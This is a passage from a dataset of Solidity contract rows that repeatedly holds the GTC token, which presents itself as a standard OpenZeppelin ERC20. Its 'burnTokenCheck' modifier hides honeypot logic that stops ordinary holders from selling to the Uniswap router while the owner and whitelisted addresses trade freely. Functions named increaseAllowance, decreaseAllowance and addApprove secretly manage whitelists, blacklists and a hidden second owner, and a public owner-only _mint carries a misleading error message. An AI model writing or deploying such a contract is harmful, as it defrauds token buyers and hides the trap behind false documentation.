* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2039,
2141
]
} | 8,885 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1470,
1558
]
} | 8,886 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
1672,
1764
]
} | 8,887 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
